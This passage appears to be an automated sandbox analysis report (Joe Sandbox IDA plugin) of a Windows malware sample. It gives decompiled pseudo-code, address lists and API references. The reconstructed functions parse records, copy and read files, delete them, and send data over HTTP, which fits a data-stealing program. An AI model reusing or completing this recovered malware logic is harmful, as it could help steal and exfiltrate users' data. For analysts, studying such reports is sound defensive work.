							_t224 =  *(_t218 + _t322) & 0x0000ffff;
						} while (_t224 != _v16);
						goto L7;
					}
				}
			}

0x00a47c80
0x00a47c83
0x00a47c8d
0x00a47c96
0x00a47c9f
0x00a47ca1
0x00a47ca4
0x00a47e82
0x00000000
0x00a47e82
0x00a47cac
0x00a47cb1
0x00000000
0x00a47ccc
0x00a47ccc
0x00a47cd5
0x00a47cde
0x00a47ce0
0x00a47ce7
0x00a47ce9
0x00a47ce9
0x00a47cec
0x00a47cef
0x00a47cf5
0x00a47d0b
0x00a47d11
0x00a47d13
0x00a47d1f
0x00a47d2a
0x00a47d2c
0x00a47d31
0x00a47df8
0x00a47e0e
0x00a47e1e
0x00a47e26
0x00a47e37
0x00a47e39
0x00a47e3c
0x00a47e3e
0x00a47e43
0x00a47ead
0x00a47eb0
0x00a47eb7
0x00a47ec1
0x00a48001
0x00a4800d
0x00a4800f
0x00a48017
0x00a4801c
0x00a4802e
0x00a48033
0x00a48046
0x00a48048
0x00a48057
0x00a48061
0x00a48061
0x00a48064
0x00a48075
0x00a48078
0x00a48087
0x00a48092
0x00a48095
0x00a480a4
0x00a480ac
0x00a48189
0x00a481ad
0x00a481af
0x00a481b2
0x00a481b8
0x00a481bd
0x00a481c1
0x00a481e0
0x00a481e7
0x00a481e7
0x00a481ee
0x00a481f1
0x00a481f1
0x00a481fa
0x00a48201
0x00a4820a
0x00000000
0x00a480b2
0x00a480d0
0x00a480d3
0x00a480db
0x00a480dd
0x00a480e2
0x00a48182
0x00a48183
0x00000000
0x00a48183
0x00a480fc
0x00a48103
0x00a48119
0x00a4811b
0x00a4811e
0x00a48123
0x00a48179
0x00a4817c
0x00000000
0x00a4817c
0x00a48125
0x00a4813b
0x00a4813d
0x00a48149
0x00a4816f
0x00a48170
0x00a48176
0x00000000
0x00a48176
0x00a4815d
0x00a48165
0x00a48166
0x00a48167
0x00a48168
0x00a4816d
0x00000000
0x00000000
0x00a48152
0x00a48157
0x00000000
0x00000000
0x00a48159
0x00a48159
0x00000000
0x00a4815d
0x00a480ac
0x00a47eca
0x00a47ecd
0x00a47ed0
0x00a47ed9
0x00a47ee1
0x00a47ee4
0x00a47eed
0x00a47eef
0x00a47ef7
0x00a47efc
0x00a47f0e
0x00a47f13
0x00a47f1b
0x00a47f20
0x00a47f3e
0x00a47f43
0x00a47f4b
0x00a47f50
0x00a47f58
0x00a47f5d
0x00a47f65
0x00a47f6a
0x00a47f72
0x00a47f7e
0x00a47f81
0x00a47f83
0x00a47f86
0x00a47f96
0x00a47f98
0x00a47f9e
0x00a47fa8
0x00a47faa
0x00a47fab
0x00a47fae
0x00a47faf
0x00a47fb5
0x00a47fb7
0x00a47fb7
0x00a47fbc
0x00a47fbc
0x00a47f9e
0x00a47fc6
0x00a47fcb
0x00a47fcb
0x00a47fd5
0x00a47fda
0x00a47fe3
0x00a47fe3
0x00a47fec
0x00a47ff2
0x00a47ff5
0x00a47ff5
0x00a47ffe
0x00000000
0x00a47ffe
0x00a47e4d
0x00a47e4e
0x00a47e4f
0x00a47e50
0x00a47e51
0x00a47e53
0x00a47e56
0x00a47e57
0x00a47e60
0x00a47e8e
0x00a47e93
0x00a47eaa
0x00a47eaa
0x00000000
0x00a47e93
0x00a47e65
0x00a47e6c
0x00a47e73
0x00a47e7c
0x00000000
0x00a47e7c
0x00a47d37
0x00a47d3a
0x00a47d3d
0x00a47d3f
0x00a47d42
0x00a47d47
0x00a47d4f
0x00a47d5a
0x00a47d5f
0x00a47d67
0x00a47d6c
0x00a47d89
0x00a47d8e
0x00a47d96
0x00a47d9b
0x00a47da3
0x00a47da8
0x00a47db0
0x00a47db5
0x00a47dc7
0x00a47dcc
0x00a47dda
0x00a47ddc
0x00a47de2
0x00a47de2
0x00a47de6
0x00a47de6
0x00a47def
0x00a47df2
0x00a47df5
0x00000000
0x00a47cf7
0x00a47cf7
0x00a47cf9
0x00a47cf9
0x00a47cfa
0x00a47cfe
0x00a47d01
0x00a47d05
0x00000000
0x00a47cf9
0x00a47cf5

APIs

LocalFree.KERNEL32(00000000,?,?,?,?,?,00A49A3E,00000001,?,00000000), ref: 00A47DDC
LocalFree.KERNEL32(?,?,?,?,?,?,00A49A3E,00000001,?,00000000), ref: 00A47E65
LocalFree.KERNEL32(00000000,?,?,?,?,?,00A49A3E,00000001,?,00000000), ref: 00A47E6C
LocalFree.KERNEL32(00000000,?,?,?,?,?,00A49A3E,00000001,?,00000000), ref: 00A47E73
LocalFree.KERNEL32(00000001,?,?,?,?,?,00A49A3E,00000001,?,00000000), ref: 00A47E7C
lstrcpynA.KERNEL32(?,00000000,0000002F,?,?,?,?,?,00A49A3E,00000001,?,00000000), ref: 00A47E9C
LocalFree.KERNEL32(?,?,?,?,?,?,00A49A3E,00000001,?,00000000), ref: 00A47EB0
LocalFree.KERNEL32(00000000,?,?,?,?,?,00A49A3E,00000001,?,00000000), ref: 00A47EB7
lstrcpynA.KERNEL32(00000000,0000002F,00000001,?,?,?,?,?,00A49A3E,00000001,?), ref: 00A47F8E
CloseHandle.KERNEL32(?,?,?,?,?,?,00A49A3E,00000001,?), ref: 00A47FBC
LocalFree.KERNEL32(00000000,?,?,?,?,?,00A49A3E,00000001,?), ref: 00A47FCB
DeleteFileW.KERNEL32(00000000,?,?,?,?,?,00A49A3E,00000001,?), ref: 00A47FDA
LocalFree.KERNEL32(00000000,?,?,?,?,?,00A49A3E,00000001,?), ref: 00A47FE3
LocalFree.KERNEL32(0000002F,?,?,?,?,?,00A49A3E,00000001,?), ref: 00A47FEC
lstrcpynA.KERNEL32(00000000,00000000,00000001,?,?,?,?,?,00A49A3E,00000001,?), ref: 00A4804F
LocalFree.KERNEL32(00000000,?,?,?,?,?,00A49A3E,00000001,?), ref: 00A48064
InternetSetOptionW.WININET(00000000,00000006,?,00000004), ref: 00A48095
InternetSetOptionW.WININET(00000000,00000005,?,00000004), ref: 00A480A4
HttpSendRequestW.WININET(?,00000001,00000000), ref: 00A48145
InternetCloseHandle.WININET(?), ref: 00A48170
InternetCloseHandle.WININET(00000000), ref: 00A4817C
InternetCloseHandle.WININET(00000000), ref: 00A48183
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,00000001,?,?,?,?,?,00A49A3E,00000001,?), ref: 00A481A5
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,00000001,?,?,?,?,?,00A49A3E,00000001,?), ref: 00A481E0
LocalFree.KERNEL32(00000000,?,?,?,?,?,00A49A3E,00000001,?), ref: 00A481F1
LocalFree.KERNEL32(00000001,?,?,?,?,?,00A49A3E,00000001,?), ref: 00A481FA
LocalFree.KERNEL32(00000000,?,?,?,?,?,00A49A3E,00000001,?), ref: 00A48201
LocalFree.KERNEL32(?,?,?,?,?,?,00A49A3E,00000001,?), ref: 00A4820A

Strings

pRo, xrefs: 00A48095, 00A480A4
X^y, xrefs: 00A47EFC, 00A4801C, 00A48033
://, xrefs: 00A47CD0
xWz, xrefs: 00A47D6C
record, xrefs: 00A48080
/, xrefs: 00A47CE0

Memory Dump Source

Source File: 00000000.00000002.415442734.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.415438027.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415452048.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415456270.0000000000A4E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415460637.0000000000A50000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_zRZljp49Uz.jbxd

Similarity

API ID: FreeLocal$Internet$CloseHandle$lstrcpyn$ByteCharMultiOptionWide$DeleteFileHttpRequestSend
String ID: /$://$X^y$pRo$record$xWz
API String ID: 3606916056-7913654
Opcode ID: 8519e8dee0426a8fd45f47d2cea7a00043e0a84b2c611a23522ffc441f6c02b7
Instruction ID: ae3881f260a2b95aa4992554f94a72e6f80d488711c912b548fc430b04881206
Opcode Fuzzy Hash: 8519e8dee0426a8fd45f47d2cea7a00043e0a84b2c611a23522ffc441f6c02b7
Instruction Fuzzy Hash: 38027B3DA40205AFDB14EFE4DD85A6EB7B6FBC9300F148518F512A72A0DB75AD02CB61

Uniqueness

Uniqueness Score: -1.00%

Function 00A452CB Relevance: 59.2, APIs: 47, Instructions: 476
memoryCOMMON

Download Yara Rule

C-Code - Quality: 36%

			E00A452CB(short* __edx) {
				void* _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				void* _v28;
				void* _v32;
				void* _v36;
				signed int _v40;
				void* _v44;
				void* _v48;
				void* _v52;
				short* _v56;
				signed int _v60;
				char _v64;
				void* __ecx;
				void* _t117;
				void* _t124;
				void* _t131;
				void* _t138;
				void* _t147;
				void* _t156;
				void* _t162;
				void* _t167;
				void* _t181;
				void* _t194;
				void* _t195;
				void* _t209;
				void* _t210;
				void* _t211;
				void* _t212;
				void* _t213;
				void* _t214;
				void* _t226;
				void* _t228;
				void* _t229;
				void* _t230;
				char _t274;
				void* _t289;
				void* _t291;
				void* _t295;
				void* _t296;
				void* _t298;
				void* _t300;
				void* _t302;
				void* _t304;
				void* _t306;
				void* _t308;
				int _t309;
				void* _t311;
				void* _t314;
				signed int _t317;
				void* _t319;
				signed int _t321;
				void* _t323;
				signed int _t325;
				void* _t327;
				signed int _t329;
				void* _t331;
				signed int _t333;
				void* _t335;
				signed int _t337;
				void* _t339;
				signed int _t341;
				void* _t344;
				void* _t345;
				void* _t347;
				void* _t348;

				_v56 = __edx;
				_t295 =  *((intOrPtr*)( *0xa4e180))(_t230,  *0xa4ea4c);
				if(_t295 == 0) {
					L42:
					return 0;
				}
				while(1) {
					_t296 = _t295 + 0xa;
					_t117 = LocalAlloc(0x40,  *((intOrPtr*)( *0xa4e090))(_t296) + _t115);
					_t226 = _t117;
					_v8 = _t226;
					_t314 =  *((intOrPtr*)( *0xa4e180))(_t296,  *0xa4e1e4);
					if(_t314 == 0) {
						break;
					}
					_t317 = _t314 - _t296 >> 1;
					if(E00A4A4BC(_t296,  &_v8, 0, _t317) == 0) {
						_t226 = _v8;
						break;
					}
					_t298 = _t296 + _t317 * 2 + 2;
					_t124 = LocalAlloc(0x40,  *((intOrPtr*)( *0xa4e090))(_t298) + _t122);
					_t226 = _t124;
					_v12 = _t226;
					_t319 =  *((intOrPtr*)( *0xa4e180))(_t298,  *0xa4e200);
					if(_t319 == 0) {
						L37:
						LocalFree(_v8);
						L29:
						break;
					}
					_t321 = _t319 - _t298 >> 1;
					if(E00A4A4BC(_t298,  &_v12, 0, _t321) == 0) {
						_t226 = _v12;
						goto L37;
					}
					_t300 = _t298 + _t321 * 2 + 2;
					_t131 = LocalAlloc(0x40,  *((intOrPtr*)( *0xa4e090))(_t300) + _t129);
					_t226 = _t131;
					_v16 = _t226;
					_t323 =  *((intOrPtr*)( *0xa4e180))(_t300,  *0xa4e200);
					if(_t323 == 0) {
						L35:
						LocalFree(_v8);
						LocalFree(_v12);
						goto L29;
					}
					_t325 = _t323 - _t300 >> 1;
					if(E00A4A4BC(_t300,  &_v16, 0, _t325) == 0) {
						_t226 = _v16;
						goto L35;
					}
					_t302 = _t300 + _t325 * 2 + 2;
					_t138 = LocalAlloc(0x40,  *((intOrPtr*)( *0xa4e090))(_t302) + _t136);
					_t228 = _t138;
					_v20 = _t228;
					_t327 =  *((intOrPtr*)( *0xa4e180))(_t302,  *0xa4e200);
					if(_t327 == 0) {
						L33:
						LocalFree(_v8);
						LocalFree(_v12);
						LocalFree(_t228);
						LocalFree(_v16);
						L40:
						L41:
						goto L42;
					}
					_t329 = _t327 - _t302 >> 1;
					if(E00A4A4BC(_t302,  &_v20, 0, _t329) == 0) {
						_t228 = _v20;
						goto L33;
					}
					_t304 = _t302 + _t329 * 2 + 2;
					_t147 = LocalAlloc(0x40,  *((intOrPtr*)( *0xa4e090))(_t304) + _t145);
					_t226 = _t147;
					_v24 = _t226;
					_t331 =  *((intOrPtr*)( *0xa4e180))(_t304,  *0xa4e200);
					if(_t331 == 0) {
						L31:
						LocalFree(_v8);
						LocalFree(_v12);
						LocalFree(_v16);
						LocalFree(_v20);
						goto L29;
					}
					_t333 = _t331 - _t304 >> 1;
					if(E00A4A4BC(_t304,  &_v24, 0, _t333) == 0) {
						_t226 = _v24;
						goto L31;
					}
					_t306 = _t304 + _t333 * 2 + 2;
					_t156 = LocalAlloc(0x40,  *((intOrPtr*)( *0xa4e090))(_t306) + _t154);
					_t226 = _t156;
					_v32 = _t226;
					_t335 =  *((intOrPtr*)( *0xa4e180))(_t306,  *0xa4e200);
					if(_t335 == 0) {
						L28:
						LocalFree(_v8);
						LocalFree(_v12);
						LocalFree(_v16);
						LocalFree(_v20);
						LocalFree(_v24);
						goto L29;
					}
					_t337 = _t335 - _t306 >> 1;
					_t162 = E00A4A4BC(_t306,  &_v32, 0, _t337);
					_t226 = _v32;
					if(_t162 == 0) {
						goto L28;
					}
					_t308 = _t306 + _t337 * 2 + 2;
					_v44 =  *_t226 & 0x0000ffff;
					_t167 = LocalAlloc(0x40,  *((intOrPtr*)( *0xa4e090))(_t308) + _t165);
					_v28 = _t167;
					_t339 =  *((intOrPtr*)( *0xa4e180))(_t308,  *0xa4e200);
					if(_t339 == 0) {
						L27:
						LocalFree(_v8);
						LocalFree(_v12);
						LocalFree(_v16);
						LocalFree(_v24);
						LocalFree(_v20);
						LocalFree(_t226);
						LocalFree(_v28);
						goto L40;
					}
					_t341 = _t339 - _t308 >> 1;
					if(E00A4A4BC(_t308,  &_v28, 0, _t341) == 0) {
						goto L27;
					}
					_t229 = _t308 + (_t341 + 1) * 2;
					_v48 =  *_v28 & 0x0000ffff;
					_push( *((intOrPtr*)( *0xa4e090))(_t229) + _t179);
					_t309 = 0x40;
					_t181 = LocalAlloc(_t309, ??);
					_push( *0xa4e21c);
					_t344 = _t181;
					_push(_t229);
					_v36 = _t344;
					if( *((intOrPtr*)( *0xa4e180))() == 0) {
						L26:
						LocalFree(_v8);
						LocalFree(_v12);
						LocalFree(_v16);
						LocalFree(_v24);
						LocalFree(_v20);
						LocalFree(_v32);
						LocalFree(_v28);
						LocalFree(_t344);
						goto L40;
					}
					if(E00A4A4BC(_t229,  &_v36, 0, _t182 - _t229 >> 1) == 0) {
						_t344 = _v36;
						goto L26;
					}
					_v40 = _v40 & 0x00000000;
					_t194 =  *((intOrPtr*)( *0xa4e048))(_t309, 0x28000);
					_t345 = _t194;
					_v52 = _t345;
					_t195 =  *((intOrPtr*)( *0xa4e078))(_v24);
					_push( &_v40);
					_push(_t345);
					_t289 = 0x31;
					_push(0 | _v48 == _t289);
					_push(0 | _v44 == _t289);
					_push(_t195);
					_push(_v20);
					_push(_v16);
					_push(_v12);
					E00A45D00(_v36, _v8);
					_t348 = _t348 + 0x20;
					if(_v40 > 0) {
						_t209 =  *((intOrPtr*)( *0xa4e048))(_t309, 0x208);
						_t210 =  *((intOrPtr*)( *0xa4e048))(_t309, 0x208);
						_t291 = 0x10;
						_t211 = E00A4A139(_t209, _t291);
						_v48 = _t211;
						_t212 =  *((intOrPtr*)( *0xa4e13c))(_t210,  *0xa4e204);
						_t311 = _v48;
						_t213 = E00A4A5DB(_t212, _t311);
						_t274 =  *0xa4e1f8; // 0x7960b8
						_v60 = _v60 & 0x00000000;
						_v64 = _t274;
						_v48 = _t213;
						_t214 = E00A4839B( &_v48);
						_v44 = _t214;
						_t347 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x184);
						 *((intOrPtr*)( *0xa4e0e8))(0xfde9, 0, _t311, 0xffffffff, 0, 0, 0, 0);
						if(0 != 0) {
							 *((intOrPtr*)( *0xa4e0e8))(0xfde9, 0, _t311, 0xffffffff, _t347, 0, 0, 0);
							if(0 != 0) {
								E00A47C6B(_v56, _t347, 0, 0, _v40, _v52, _v44,  &_v64);
								_t348 = _t348 + 0x18;
							}
						}
						LocalFree(_t347);
						LocalFree(_v44);
						LocalFree(_v48);
						LocalFree(_t311);
						_t345 = _v52;
					}
					LocalFree(_t345);
					LocalFree(_v8);
					LocalFree(_v12);
					LocalFree(_v16);
					LocalFree(_v20);
					LocalFree(_v24);
					LocalFree(_v32);
					LocalFree(_v28);
					LocalFree(_v36);
					_t295 =  *((intOrPtr*)( *0xa4e180))(_t229,  *0xa4ea4c);
					if(_t295 != 0) {
						continue;
					} else {
						goto L41;
					}
				}
				LocalFree(_t226);
				goto L40;
			}

0x00a452dd
0x00a452e3
0x00a452e7
0x00a4586b
0x00a4586f
0x00a4586f
0x00a452ef
0x00a452f4
0x00a45305
0x00a45313
0x00a45316
0x00a4531b
0x00a4531f
0x00000000
0x00000000
0x00a4532a
0x00a4533a
0x00a4585f
0x00000000
0x00a4585f
0x00a4534e
0x00a45359
0x00a45367
0x00a4536a
0x00a4536f
0x00a45373
0x00a4585a
0x00a457fa
0x00a457fa
0x00000000
0x00a457fa
0x00a4537e
0x00a4538e
0x00a45857
0x00000000
0x00a45857
0x00a453a2
0x00a453ad
0x00a453bb
0x00a453be
0x00a453c3
0x00a453c7
0x00a45849
0x00a4584c
0x00a457fa
0x00000000
0x00a457fa
0x00a453d2
0x00a453e2
0x00a45846
0x00000000
0x00a45846
0x00a453f6
0x00a45401
0x00a4540f
0x00a45412
0x00a45417
0x00a4541b
0x00a45828
0x00a4582b
0x00a45834
0x00a4583b
0x00a45863
0x00a45863
0x00a45869
0x00000000
0x00a4586a
0x00a45426
0x00a45436
0x00a45825
0x00000000
0x00a45825
0x00a4544a
0x00a45455
0x00a45463
0x00a45466
0x00a4546b
0x00a4546f
0x00a45805
0x00a45808
0x00a45811
0x00a4581a
0x00a457fa
0x00000000
0x00a457fa
0x00a4547a
0x00a4548a
0x00a45802
0x00000000
0x00a45802
0x00a4549e
0x00a454a9
0x00a454b7
0x00a454ba
0x00a454bf
0x00a454c3
0x00a457d3
0x00a457d6
0x00a457df
0x00a457e8
0x00a457f1
0x00a457fa
0x00000000
0x00a457fa
0x00a454ce
0x00a454d5
0x00a454da
0x00a454e1
0x00000000
0x00000000
0x00a454f3
0x00a454f6
0x00a45506
0x00a45515
0x00a4551a
0x00a4551e
0x00a45797
0x00a4579a
0x00a457a3
0x00a457ac
0x00a457b5
0x00a457be
0x00a457c5
0x00a45863
0x00000000
0x00a45863
0x00a45529
0x00a45539
0x00000000
0x00000000
0x00a45546
0x00a4554f
0x00a4555c
0x00a4555f
0x00a45561
0x00a45563
0x00a4556f
0x00a45571
0x00a45572
0x00a45579
0x00a45752
0x00a45755
0x00a4575e
0x00a45767
0x00a45770
0x00a45779
0x00a45782
0x00a4578b
0x00a45863
0x00000000
0x00a45863
0x00a45594
0x00a4574f
0x00000000
0x00a4574f
0x00a4559f
0x00a455a9
0x00a455b4
0x00a455b6
0x00a455b9
0x00a455be
0x00a455bf
0x00a455c2
0x00a455cc
0x00a455d9
0x00a455dd
0x00a455de
0x00a455e1
0x00a455e4
0x00a455e7
0x00a455ec
0x00a455f3
0x00a45604
0x00a45614
0x00a45618
0x00a4561d
0x00a4562f
0x00a45632
0x00a45634
0x00a4563b
0x00a45640
0x00a45646
0x00a4564a
0x00a45650
0x00a45653
0x00a45665
0x00a45670
0x00a45681
0x00a45685
0x00a4569c
0x00a456a0
0x00a456b8
0x00a456bd
0x00a456bd
0x00a456a0
0x00a456c1
0x00a456ca
0x00a456d3
0x00a456da
0x00a456e0
0x00a456e0
0x00a456e4
0x00a456ed
0x00a456f6
0x00a456ff
0x00a45708
0x00a45711
0x00a4571a
0x00a45723
0x00a4572c
0x00a45740
0x00a45744
0x00000000
0x00a4574a
0x00000000
0x00a4574a
0x00a45744
0x00a45863
0x00000000

APIs

LocalAlloc.KERNEL32(00000040,00000000), ref: 00A45305
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A4794A), ref: 00A45863

Part of subcall function 00A4A4BC: LocalAlloc.KERNEL32(00000040,00000000,?,00A4848C,00000000,00000000,?,?,?,?,?,?,00A4777E), ref: 00A4A4E4
Part of subcall function 00A4A4BC: LocalFree.KERNEL32(00000000,?,00A4848C,00000000,00000000,?,?,?,?,?,?,00A4777E), ref: 00A4A521

LocalAlloc.KERNEL32(00000040,00000000), ref: 00A45359
LocalAlloc.KERNEL32(00000040,00000000), ref: 00A453AD
LocalAlloc.KERNEL32(00000040,00000000), ref: 00A45401
LocalAlloc.KERNEL32(00000040,00000000), ref: 00A45455
LocalAlloc.KERNEL32(00000040,00000000), ref: 00A454A9
LocalAlloc.KERNEL32(00000040,00000000), ref: 00A45506
LocalAlloc.KERNEL32(00000040,00000000), ref: 00A45561
LocalFree.KERNEL32(00000000), ref: 00A456C1
LocalFree.KERNEL32(?), ref: 00A456CA
LocalFree.KERNEL32(?), ref: 00A456D3
LocalFree.KERNEL32(?), ref: 00A456DA
LocalFree.KERNEL32(00000000), ref: 00A456E4
LocalFree.KERNEL32(00A4794A), ref: 00A456ED
LocalFree.KERNEL32(?), ref: 00A456F6
LocalFree.KERNEL32(?), ref: 00A456FF
LocalFree.KERNEL32(?), ref: 00A45708
LocalFree.KERNEL32(?), ref: 00A45711
LocalFree.KERNEL32(?), ref: 00A4571A
LocalFree.KERNEL32(?), ref: 00A45723
LocalFree.KERNEL32(?), ref: 00A4572C

Part of subcall function 00A4A5DB: lstrlenW.KERNEL32(?,00000000,?,00000000,00000000,?,00A483B5), ref: 00A4A5EE
Part of subcall function 00A4A5DB: lstrlenW.KERNEL32(?,?,00000000,?,00000000,00000000,?,00A483B5), ref: 00A4A5F5
Part of subcall function 00A4A5DB: GlobalFree.KERNELBASE(?), ref: 00A4A628

Part of subcall function 00A4839B: LocalAlloc.KERNELBASE(00000040,0000FF78,8724643052,00A4760D), ref: 00A483AA

LocalFree.KERNEL32(00A4794A,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A4794A), ref: 00A45755
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A4794A), ref: 00A4575E
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A4794A), ref: 00A45767
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A4794A), ref: 00A45770
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A4794A), ref: 00A45779
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A4794A), ref: 00A45782
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A4794A), ref: 00A4578B

Part of subcall function 00A45D00: lstrlenW.KERNEL32(007962B8,?,?,?,?,?,?,?,?,?,?,?,00A455EC,?,?,?), ref: 00A45E4C

LocalFree.KERNEL32(00A4794A,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A4794A), ref: 00A4579A
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A4794A), ref: 00A457A3
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A4794A), ref: 00A457AC
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A4794A), ref: 00A457B5
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A4794A), ref: 00A457BE
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A4794A), ref: 00A457C5
LocalFree.KERNEL32(00A4794A,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A4794A), ref: 00A457D6
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A4794A), ref: 00A457DF
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A4794A), ref: 00A457E8
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A4794A), ref: 00A457F1
LocalFree.KERNEL32(00A4794A,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A4794A), ref: 00A457FA
LocalFree.KERNEL32(00A4794A,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A4794A), ref: 00A45808
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A4794A), ref: 00A45811
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A4794A), ref: 00A4581A
LocalFree.KERNEL32(00A4794A,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A4794A), ref: 00A4582B
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A4794A), ref: 00A45834
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A4794A), ref: 00A4583B
LocalFree.KERNEL32(00A4794A,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A4794A), ref: 00A4584C

Memory Dump Source

Source File: 00000000.00000002.415442734.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.415438027.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415452048.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415456270.0000000000A4E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415460637.0000000000A50000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_zRZljp49Uz.jbxd

Similarity

API ID: Local$Free$Alloc$lstrlen$Global
String ID:
API String ID: 2107727554-0
Opcode ID: 876122c9285b13aa42e609682275c83c763e8effae694569a3f61d4f59aed560
Instruction ID: b5699af64849cc2db11b0536e3216eb76f71d008cf0f97cd51d2e18c49011e7f
Opcode Fuzzy Hash: 876122c9285b13aa42e609682275c83c763e8effae694569a3f61d4f59aed560
Instruction Fuzzy Hash: 70F19D3ED40216EBDB14DBE4EC889AEBBB5FBC9310F144554F915A32A0DBB25D02DB60

Uniqueness

Uniqueness Score: -1.00%

Function 00A46A3B Relevance: 42.4, APIs: 23, Strings: 1, Instructions: 419
fileCOMMON

Download Yara Rule

C-Code - Quality: 19%

			E00A46A3B(intOrPtr* __ecx, intOrPtr* __edx, intOrPtr _a4, char* _a8) {
				intOrPtr _v8;
				void* _v12;
				signed int _v16;
				signed int _v20;
				void* _v24;
				void* _v28;
				intOrPtr _v32;
				void* _v36;
				void* _v40;
				void* _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				signed int _v60;
				intOrPtr _v64;
				void* _v68;
				void* _v72;
				signed int _v76;
				intOrPtr _v80;
				intOrPtr* _v84;
				intOrPtr* _v88;
				void* _v92;
				intOrPtr _t104;
				intOrPtr _t105;
				intOrPtr _t106;
				intOrPtr _t107;
				intOrPtr _t108;
				void* _t110;
				void* _t111;
				void* _t113;
				void* _t119;
				void* _t121;
				void* _t132;
				intOrPtr* _t133;
				void* _t140;
				void* _t142;
				char* _t144;
				void* _t146;
				void* _t147;
				void* _t160;
				int _t163;
				void* _t165;
				signed int _t167;
				void* _t190;
				void* _t191;
				void* _t196;
				void* _t209;
				void* _t210;
				signed int _t212;
				void* _t213;
				void* _t214;
				void* _t215;
				void* _t216;
				void* _t228;
				void* _t240;
				signed int _t241;
				void* _t264;
				intOrPtr _t265;
				void* _t267;
				void* _t270;
				void* _t271;
				intOrPtr _t273;
				intOrPtr* _t276;
				void* _t278;

				_v88 = __edx;
				_v84 = __ecx;
				if(_a8 == 0) {
					L50:
					return 0;
				}
				_t104 =  *0xa4eb7c; // 0x79e378
				_v76 = _v76 & 0x00000000;
				_v48 = _t104;
				_t105 =  *0xa4eb70; // 0x79e3a0
				_v80 = _t105;
				_t106 =  *0xa4eac4; // 0x7a0c38
				_v52 = _t106;
				_t107 =  *0xa4eb14; // 0x7a08a8
				_v56 = _t107;
				_t108 =  *0xa4eb74; // 0x79e4b8
				_v64 = _t108;
				_t110 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x208);
				_t111 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x208);
				_v36 = _t111;
				_t264 =  *((intOrPtr*)( *0xa4e008))(_t110, _a4,  *0xa4eaf8);
				_v68 = _t264;
				_t113 = E00A4A7C4( *0xa4e008,  &_v36);
				_t209 = _v36;
				if(_t113 == 0) {
					L48:
					LocalFree(_t264);
					DeleteFileW(_t209);
					LocalFree(_t209);
					L49:
					goto L50;
				}
				_push(0);
				_push(_t209);
				_push(_t264);
				if( *((intOrPtr*)( *0xa4e178))() == 0) {
					goto L48;
				}
				_t119 =  *((intOrPtr*)( *0xa4e040))(_t209, 0x80000000, 1, 0, 3, 0, 0);
				_v72 = _t119;
				_t270 =  *((intOrPtr*)( *0xa4e148))(_t119, 0);
				_t121 =  *((intOrPtr*)( *0xa4e048))(0x40, _t270);
				_push(0);
				_push( &_v76);
				_t18 = _t270 - 1; // -1
				_v44 = _t121;
				_push(_t121);
				_push(_v72);
				if( *((intOrPtr*)( *0xa4e08c))() == 0) {
					L43:
					LocalFree(_v44);
					CloseHandle(_v72);
					DeleteFileW(_t209);
					if(_t264 != 0) {
						LocalFree(_t264);
					}
					if(_t209 != 0) {
						LocalFree(_t209);
					}
					return 1;
				}
				_t271 =  *((intOrPtr*)( *0xa4e0e8))(0xfde9, 0, _a4, 0xffffffff, 0, 0, 0, 0);
				_t22 = _t271 + 0x40; // 0x40
				_t132 =  *((intOrPtr*)( *0xa4e048))(0x40, _t22);
				_v40 = _t132;
				if(_t271 == 0) {
					L7:
					_push(_v40);
